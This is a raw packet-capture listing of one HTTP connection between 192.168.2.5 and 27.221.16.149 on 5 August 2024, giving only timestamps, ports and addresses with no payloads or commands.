Aug 5, 2024 11:59:23.202390909 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202399015 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.202403069 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202416897 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202426910 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.202428102 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202441931 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202459097 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.202474117 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.202538013 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202548981 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202558994 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202569962 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202579975 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202588081 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.202591896 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202604055 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202613115 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.202616930 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202636003 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.202676058 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.202786922 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202872038 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202883005 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202905893 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202915907 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202925920 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202935934 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.202965021 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.202987909 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202999115 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.203010082 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.203022003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.203032017 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.203059912 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.538501978 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538525105 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538537025 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538547039 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538558960 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538580894 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538580894 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.538592100 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538604021 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538625956 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.538625956 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.538671017 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538676977 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.538683891 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538697004 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538717031 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538723946 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.538774014 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.538805008 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538815975 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538827896 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538839102 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538851023 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538861036 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538866043 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.538872004 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538892031 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538893938 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.538908958 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538916111 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.538928032 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.538943052 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.538968086 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.539042950 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539053917 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539063931 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539072990 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539083958 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539093018 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539103985 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539112091 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.539117098 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539135933 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.539154053 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.539155006 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539166927 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539176941 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539191008 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539211988 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.539256096 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.539334059 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539345980 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539371967 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539391994 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539402962 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539412975 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.539413929 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539428949 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539438963 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.539439917 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539462090 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.539482117 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.539520025 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539531946 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539541960 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539601088 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.539648056 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539659023 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539669037 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539695978 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.539722919 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.539748907 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539764881 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539774895 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539786100 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539797068 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539814949 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539819002 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.539828062 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539844990 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.539886951 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.539925098 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539936066 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539946079 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539957047 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539967060 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539975882 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.539978027 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.539989948 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.540002108 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.540003061 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.540014029 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.540033102 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.540033102 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.540081978 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.540476084 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.540493965 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.540503979 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.540513992 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.540524006 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.540533066 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.540554047 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.540561914 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.540565014 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.540577888 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.540589094 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.540589094 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.540601969 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.540611982 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.540611982 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.540622950 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.540633917 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.540635109 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.540647984 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.540657997 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.540683031 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.541285992 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.541299105 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.541310072 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.541336060 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.541366100 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.541399002 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.541410923 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.541419983 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.541430950 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.541471004 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.541482925 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.541496038 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.541507006 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.541517973 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.541532040 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.541552067 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.541579008 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.541616917 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.541627884 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.541639090 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.541649103 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.541659117 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.541659117 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.541671038 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.541685104 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.541711092 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.542180061 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.542191982 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.542227030 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.582595110 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.625838995 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.676413059 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.883388042 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883403063 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883414030 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883460045 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883472919 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883491993 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.883502007 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883513927 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883526087 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883573055 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.883589983 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883594990 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.883601904 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883614063 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883624077 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883652925 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.883685112 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.883718967 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883729935 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883739948 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883749962 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883761883 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883771896 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883785009 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883804083 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.883847952 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.883950949 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883970022 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883980036 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.883991003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884001017 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.884002924 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884018898 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884031057 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884042025 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884043932 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.884053946 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884067059 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884093046 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.884121895 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.884229898 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884241104 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884251118 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884268045 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884278059 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.884279966 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884293079 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884305000 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884305954 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.884316921 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884327888 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884351015 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.884388924 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.884392023 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884403944 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884414911 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884424925 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884435892 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884449005 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884459972 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884495020 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.884526968 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.884715080 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884726048 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884736061 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884763956 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.884783983 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.884788990 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884802103 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884814024 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.884848118 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.885051012 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885061979 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885071039 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885081053 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885091066 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885102987 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885108948 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.885118008 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885147095 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.885171890 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.885257959 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885270119 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885278940 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885288954 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885303020 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885308027 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.885314941 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885328054 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885340929 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.885344982 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885356903 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885364056 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.885389090 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.885426998 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885437965 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885447979 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885462999 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885484934 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.885500908 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.885507107 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885519028 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885529041 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885548115 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885560989 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.885565042 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885576963 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885590076 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885597944 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.885600090 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885618925 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.885644913 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.885767937 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885809898 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885812998 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.885829926 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885880947 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.885885000 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885896921 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885906935 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885917902 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.885940075 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.885970116 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.886009932 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886020899 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886027098 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886032104 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886037111 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886042118 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886048079 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886054039 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886065960 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886081934 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.886110067 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.886182070 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886193037 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886203051 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886214018 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886223078 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.886231899 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886244059 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886255980 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886264086 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.886291027 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.886329889 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886344910 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886353970 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886364937 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886374950 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.886403084 CEST	49734	80	192.168.2.5	27.221.16.149
